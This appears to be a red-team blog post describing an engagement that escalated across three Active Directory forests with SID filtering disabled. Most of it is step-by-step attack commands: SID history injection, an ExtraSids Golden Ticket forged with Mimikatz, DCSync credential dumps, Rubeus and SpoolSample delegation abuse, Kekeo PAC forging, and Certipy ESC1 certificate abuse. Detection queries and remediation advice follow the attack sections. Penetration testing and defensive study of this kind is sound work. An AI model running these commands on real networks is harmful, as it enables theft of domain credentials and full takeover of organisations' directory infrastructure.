TL;DR — Active Directory forest trusts create complex, often poorly-understood attack surfaces that allow privilege escalation across organizational boundaries. This post covers the complete offensive methodology for trust abuse — from trust enumeration through SID history injection, ExtraSids Golden Ticket attacks, Kerberos delegation abuse across trust boundaries, and ADCS exploitation to demonstrate cross-forest domain compromise in a multi-forest enterprise environment.
Executive Summary
Large enterprises rarely operate a single Active Directory forest. Mergers, acquisitions, regulatory requirements, and administrative separation produce multi-forest environments where trusts are established to allow users in one forest to access resources in another. These trusts are intended to be controlled, directional, and limited — but in practice, they are frequently misconfigured, poorly audited, and deeply misunderstood.
The engagement described in this post was scoped to a financial services conglomerate operating three separate Active Directory forests: a production forest (CORP.local), a development/staging forest (DEV.local), and an acquired subsidiary's forest (SUBSIDIARY.local). The forests were connected by two external trust relationships: a bidirectional trust between CORP.local and DEV.local, and a one-way trust allowing CORP.local users to access resources in SUBSIDIARY.local. SID filtering was disabled on both trusts — a deliberate decision made years prior to support "legacy application compatibility."
Starting with standard user credentials in the DEV.local forest — representing a compromised developer workstation — the red team achieved full Enterprise Admin access across all three forests within 72 hours. The critical finding: disabling SID filtering on forest trusts is equivalent to merging the security boundaries of both forests entirely. Most security teams who have disabled SID filtering are unaware that this effectively gives any compromise of Forest B complete access to Forest A.
The techniques documented here — SID history injection, ExtraSids Golden Ticket, cross-forest Kerberos delegation, and ADCS ESC1 across trust boundaries — represent some of the most impactful Active Directory attack paths in modern enterprise environments.
Active Directory Trust Architecture
Trust Types and Their Security Implications
Before attacking trusts, red teamers must understand what each trust type means for the security boundary:
| Trust Type | Direction | Within/Between Forests | SID Filtering Default | Notes |
|---|---|---|---|---|
| Parent-Child | Bidirectional | Within forest | Off (not needed) | Automatic, transitive — created when child domain added |
| Tree-Root | Bidirectional | Within forest | Off (not needed) | Connects root domains of different trees in same forest |
| Shortcut Trust | Bidirectional | Within forest | Off (not needed) | Performance optimization — reduces Kerberos path length |
| External Trust | One or Two way | Between forests | ON by default | Non-transitive; connects specific domains |
| Forest Trust | One or Two way | Between forests | ON by default | Transitive within each forest; most permissive cross-forest |
| Realm Trust | One or Two way | Between AD and non-AD | ON | Kerberos realm interoperability |
SID filtering is the critical security control. When enabled (default for external/forest trusts), it strips any SIDs from the SID history attribute that don't belong to the trusting domain's forest — preventing SID history injection attacks. When disabled, those SID history attributes are honored, allowing cross-forest privilege escalation.
Trust Enumeration
# Method 1: Get-ADTrust (requires RSAT)Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection, SIDFilteringQuarantined, SIDFilteringForestAware # Method 2: nltest (built-in)nltest /domain_trusts /all_trustsnltest /trusted_domains # Method 3: .NET DirectoryEntry([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() # Method 4: LDAP query for trustedDomain objectsGet-ADObject -LDAPFilter "(objectClass=trustedDomain)" -SearchBase (Get-ADDomain).DistinguishedName ` -Properties trustAttributes, trustDirection, trustType, securityIdentifier | Select-Object Name, trustDirection, trustType, trustAttributes # Decode trustAttributes flags# 0x00000001 = NON_TRANSITIVE# 0x00000020 = FOREST_TRANSITIVE # 0x00000040 = CROSS_ORGANIZATION (SID filtering enabled)# 0x00000080 = WITHIN_FORESTBloodHound automatically maps trust relationships and provides attack paths:
# BloodHound Cypher query — find all cross-trust paths to DAMATCH p=shortestPath((n:User {name:"j.developer@DEV.LOCAL"})-[r*1..]->(m:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))RETURN pSID History Injection Attack
Understanding SID History
When a user account is migrated between domains, the original SID is stored in the msDS-SidHistory attribute. Windows honors these historical SIDs when evaluating access — if a user's SID history contains the SID of Domain Admins, they receive Domain Admin access.
SID filtering is designed to block cross-forest use of SID history. When it is disabled (as in our engagement), an attacker who can control what goes into a user's SID history can inject any SID from any domain in the trusted forest — including Enterprise Admins.
# Check if SID filtering is enabled on a trust# netdom query trust /domain:targetforest.local /namesuffixesnetdom trust CORP.local /domain:DEV.local /quarantine # If output shows "No quarantine" — SID filtering is OFF — vulnerable # Enumerate SIDs in the target forest (CORP.local) that we want to inject# Enterprise Admins SID = S-1-5-21-[CORP-DOMAIN-SID]-519$corpDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( [System.DirectoryServices.ActiveDirectory.DirectoryContext]::new( [System.DirectoryServices.ActiveDirectory.DirectoryContextType]::Domain, "CORP.local"))$corpDomainSID = $corpDomain.GetDirectoryEntry().Properties["objectSid"].Value$enterpriseAdminsSID = "$corpDomainSID-519" # Inject Enterprise Admin SID into a DEV.local user's SID history# Requires DA in DEV.local (which we have via previous phase)# Uses Mimikatz or DSInternalsImport-Module DSInternalsAdd-ADDBSidHistory -SamAccountName developer_user -SidHistory $enterpriseAdminsSID ` -DBPath "C:\Windows\NTDS\ntds.dit" -LogPath "C:\Windows\NTDS\"With the SID injection complete, authentication to CORP.local resources from our DEV.local compromised user would include the Enterprise Admin SID in the Kerberos PAC — granting full Enterprise Admin access.
ExtraSids Golden Ticket Attack
Child Domain to Parent Domain Escalation
The most reliable technique for cross-forest escalation leverages the ExtraSids field in a Golden Ticket. When we have the KRBTGT hash of a child domain (or trusted forest domain), we can forge a TGT that claims membership in Enterprise Admins of the parent/root domain.
flowchart TD
A[Compromise DEV.local\nUser Account] --> B[Escalate to\nDEV.local DA\nvia Kerberoasting]
B --> C[DCSync DEV.local\nKRBTGT Hash]
C --> D[Forge Golden Ticket\nwith ExtraSids = CORP.local\nEnterprise Admin SID]
D --> E[Authenticate to CORP.local\nResources with Forged Ticket]
E --> F[CORP.local\nDomain Admin Access]
F --> G[DCSync CORP.local\nAll Hashes]
G --> H[SUBSIDIARY.local\nPass-the-Hash\nOne-Way Trust]
style A fill:#444,color:#fff
style D fill:#8B0000,color:#fff
style G fill:#8B0000,color:#fff# Step 1: Get DEV.local domain SID$devDomainSID = (Get-ADDomain -Identity dev.local).DomainSID.Value# S-1-5-21-1111111111-2222222222-3333333333 # Step 2: Get CORP.local Enterprise Admins SID# Enterprise Admins group = Domain SID + -519# CORP.local Domain SID = S-1-5-21-4444444444-5555555555-6666666666$corpEnterpriseAdminsSID = "S-1-5-21-4444444444-5555555555-6666666666-519" # Step 3: Forge Golden Ticket with ExtraSids (Mimikatz)kerberos::golden /user:Administrator ` /domain:DEV.LOCAL ` /sid:$devDomainSID ` /krbtgt:[DEV_KRBTGT_NTLM_HASH] ` /sids:$corpEnterpriseAdminsSID ` /ptt # Verify — list Kerberos ticketsklist # Step 4: Access CORP.local resourcesdir \\dc01.corp.local\c$# Success — we have EA access to CORP.local with DEV.local KRBTGT # Step 5: DCSync CORP.local (now that we have DA/EA)lsadump::dcsync /domain:CORP.LOCAL /user:krbtgtlsadump::dcsync /domain:CORP.LOCAL /all /csvThe /sids parameter in Mimikatz is the key — it populates the ExtraSids field of the PAC with an additional SID that the target domain honors when SID filtering is disabled. This is why disabling SID filtering collapses the security boundary between forests entirely.
Kerberos Delegation Abuse Across Trusts
Unconstrained Delegation — Cross-Forest TGT Capture
If a machine in the child domain (DEV.local) has Unconstrained Delegation enabled, any user who authenticates to a service on that machine will have their TGT forwarded and stored in LSASS memory. If a CORP.local Domain Admin authenticates to a service on that machine (even indirectly — through printing, shared resources, or spooler service exploitation), we capture their TGT and can use it in CORP.local.
# Find machines with Unconstrained Delegation in DEV.localGet-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation | Select-Object Name, DNSHostName, TrustedForDelegation # On the unconstrained delegation host — monitor for incoming TGTs# Using Rubeus to monitor for delegation ticketsexecute-assembly /opt/Rubeus.exe monitor /interval:5 /filteruser:DA_admin@corp.local /nowrap # Force CORP.local DC to authenticate to our unconstrained delegation host# Using SpoolSample (PrinterBug) — DC's machine account authenticates to attackerSpoolSample.exe dc01.corp.local devserver01.dev.local # Rubeus captures the TGT of DC01$@CORP.LOCAL# $inject this TGTexecute-assembly /opt/Rubeus.exe ptt /ticket:[BASE64_TICKET] # Now we can DCSync CORP.local using DC01$'s TGTlsadump::dcsync /domain:CORP.LOCAL /user:krbtgtS4U2Proxy Abuse Across Trust Boundaries
Resource-Based Constrained Delegation (RBCD) can be abused across trust boundaries:
# Scenario: we control a machine account in DEV.local# Target: access a service in CORP.local on behalf of a privileged user # Step 1: Set RBCD on target service in CORP.local# (requires write permission to target computer object — often possible with DA in DEV.local# if SID filtering is disabled and trust is bidirectional)Set-ADComputer -Identity "fileserver.corp.local" ` -PrincipalsAllowedToDelegateToAccount (Get-ADComputer "attacker_machine.dev.local") # Step 2: S4U2Self — obtain a service ticket for a CORP.local admin user# (impersonating that user to our own machine's SPN)execute-assembly /opt/Rubeus.exe s4u ` /user:attacker_machine$ ` /rc4:[MACHINE_ACCOUNT_NTLM] ` /impersonateuser:DA_Admin@corp.local ` /msdsspn:cifs/fileserver.corp.local ` /domain:corp.local ` /pttPAC Manipulation — Platinum Ticket
Forging the Kerberos Privilege Attribute Certificate
The PAC (Privilege Attribute Certificate) is embedded in Kerberos tickets and contains group memberships, user privileges, and security descriptors. It is signed by the KDC using the KRBTGT key. If we have the KRBTGT key, we can forge arbitrary PACs claiming any group membership without ever actually being a member of those groups.
# Platinum Ticket — forge PAC with arbitrary group memberships# Using Kekeo (more precise PAC manipulation than Mimikatz's golden ticket) # Create TGT with forged PAC claiming membership in Domain Admins AND Enterprise Adminstgt::forge /domain:CORP.LOCAL ` /user:lowpriv_user ` /groups:512,519,544 ` # 512=Domain Admins, 519=Enterprise Admins, 544=Administrators /krbtgt:[KRBTGT_HASH] ` /ticket:platinum.kirbi # Inject the forged ticketkerberos::ptt platinum.kirbiThe distinction between a Golden Ticket and a Platinum (PAC-forged) ticket: a Golden Ticket is a full TGT forged from scratch. A PAC-modified ticket is more surgical — it starts with a legitimately issued TGT and modifies only the PAC signature, making it harder to detect via ticket anomaly analysis.
ADCS Exploitation Across Forest Trusts
ESC1 Cross-Forest Certificate Enrollment
Active Directory Certificate Services (ADCS) introduced a new attack surface for cross-forest exploitation. Enterprise CA certificates are often trusted across forest trusts, and certificate templates may allow enrollment from trusted forest users.
# Enumerate ADCS across trust boundary# From compromised DEV.local host, query CORP.local ADCScertipy find -u developer@dev.local -p Password123 -dc-ip 10.10.10.10 \ -target corp.local -ns 10.10.10.10 # Look for ESC1: Any user can enroll, SAN (Subject Alternative Name) can be specified# ESC1 template characteristics:# - enrolleeSuppliesSubject = TRUE (attacker controls SAN)# - Certificate allows Client Authentication EKU# - CORP.local user principals can enroll (or DEV.local users via trust) # Exploit ESC1 to obtain cert as CORP.local DAcertipy req -u developer@dev.local -p Password123 \ -target ca01.corp.local \ -template VulnerableTemplate \ -upn DA_Admin@corp.local \ -dc-ip 10.10.10.10 # Use certificate for authentication to CORP.local DC (PKINIT)certipy auth -pfx da_admin.pfx -dc-ip 10.10.10.10 -domain corp.local# Returns NTLM hash and TGT for DA_Admin@corp.local| ADCS ESC Vulnerability | Cross-Forest Applicable | Conditions | Impact |
|---|---|---|---|
| ESC1: Template SAN abuse | Yes, if enrollment crosses trust | Enrollee-supplied SAN + Client Auth EKU | Impersonate any user in CA's forest |
| ESC3: Enrollment agent | Yes | Can enroll on behalf of any user | Impersonate any user |
| ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 | Yes | CA-level flag set | All templates vulnerable |
| ESC8: NTLM relay to ADCS HTTP | Partial | Web enrollment interface accessible | DA hash via NTLM relay |
Detection Strategies
Monitoring for Trust Abuse
# Windows Event ID 4768 — Kerberos TGT request# Look for TGT requests with unusual ticket options or PAC anomalies # Golden/Platinum Ticket detection — tickets not issued by DC# Event ID 4769 — tickets with forged SIDs in PAC# Alert condition: TGT issued with kerberos ticket lifetime > 10 hours# (default max is 10h — legitimate tickets rarely exceed this) # Splunk query: detect ExtraSids in Kerberos ticketsindex=wineventlog EventCode=4768 OR EventCode=4769| eval ticket_lifetime = strptime(ServiceTicketExpirationTime, "%m/%d/%Y %H:%M:%S") - strptime(ServiceTicketIssuedTime, "%m/%d/%Y %H:%M:%S")| where ticket_lifetime > 36000| table _time, Account_Name, Client_Address, ticket_lifetime # SID history modification — EventID 4738 (user account changed) with SID history deltaindex=wineventlog EventCode=4738| where NOT null(SidHistory)| alert# Monitor cross-forest authentication anomalies# EventID 4625 — failed logon with cross-forest account# EventID 4769 — TGS request with cross-forest referral ticket (TGT from foreign realm)# EventID 1102 — audit log cleared (attacker covering tracks) # Detect unconstrained delegation abuse (SpoolSample/PrinterBug)# EventID 5145 — network share access# Look for machine accounts ($) accessing unusual shares cross-forestMITRE ATT&CK Mapping
| Technique ID | Technique Name | Phase | Tool/Method |
|---|---|---|---|
| T1482 | Domain Trust Discovery | Discovery | Get-ADTrust, nltest, BloodHound |
| T1134.005 | Access Token Manipulation: SID-History Injection | Privilege Escalation | DSInternals, Mimikatz |
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | Persistence/Priv-Esc | Mimikatz kerberos::golden /sids |
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access | Rubeus kerberoast |
| T1550.003 | Use Alternate Authentication Material: Pass-the-Ticket | Lateral Movement | Rubeus ptt |
| T1649 | Steal or Forge Authentication Certificates | Credential Access | Certipy ESC1 |
| T1187 | Forced Authentication | Credential Access | SpoolSample (PrinterBug) |
| T1003.006 | OS Credential Dumping: DCSync | Credential Access | Mimikatz lsadump::dcsync |
| T1207 | Rogue Domain Controller | Defense Evasion | Not executed (simulation context) |
| T1484.002 | Domain Policy Modification: Domain Trust Modification | Persistence | netdom trust commands |
| T1590.001 | Gather Victim Network Information: Domain Properties | Reconnaissance | LDAP queries, BloodHound |
Conclusion
Active Directory forest trusts are one of the most misunderstood security boundaries in enterprise environments. The organizations that disable SID filtering — often for historical "compatibility" reasons that predate modern understanding of the attack surface — have effectively merged their forest security boundaries. A compromise in any domain of Forest B with SID filtering disabled against Forest A is a compromise of Forest A. No firewall, no EDR, no SIEM rule changes this fundamental fact.
The engagement documented here demonstrated this principle definitively: starting from a single compromised developer workstation in DEV.local, the red team achieved Enterprise Admin access across all three forests using techniques that required no novel exploits, no zero-days, and no physical access. The entire attack chain — Kerberoasting, DCSync, ExtraSids Golden Ticket, cross-forest ADCS abuse — is documented in public research, has MITRE ATT&CK mappings, and has been known to the defensive community for years.
The remediation priorities are clear: first, audit every trust relationship in your environment and document the business justification for SID filtering being disabled; for any trust where no current compatibility requirement mandates it, re-enable SID filtering immediately. Second, audit your ADCS certificate templates for cross-forest enrollability — run Certipy in every forest and treat any ESC finding as critical. Third, eliminate unconstrained delegation from servers — every machine with unconstrained delegation is a potential cross-domain TGT capture point.
The security boundary in Active Directory is the forest — not the domain. Engineers who treat domain-level controls as equivalent to forest-level isolation will continue to be surprised by the adversarial creativity documented in this post.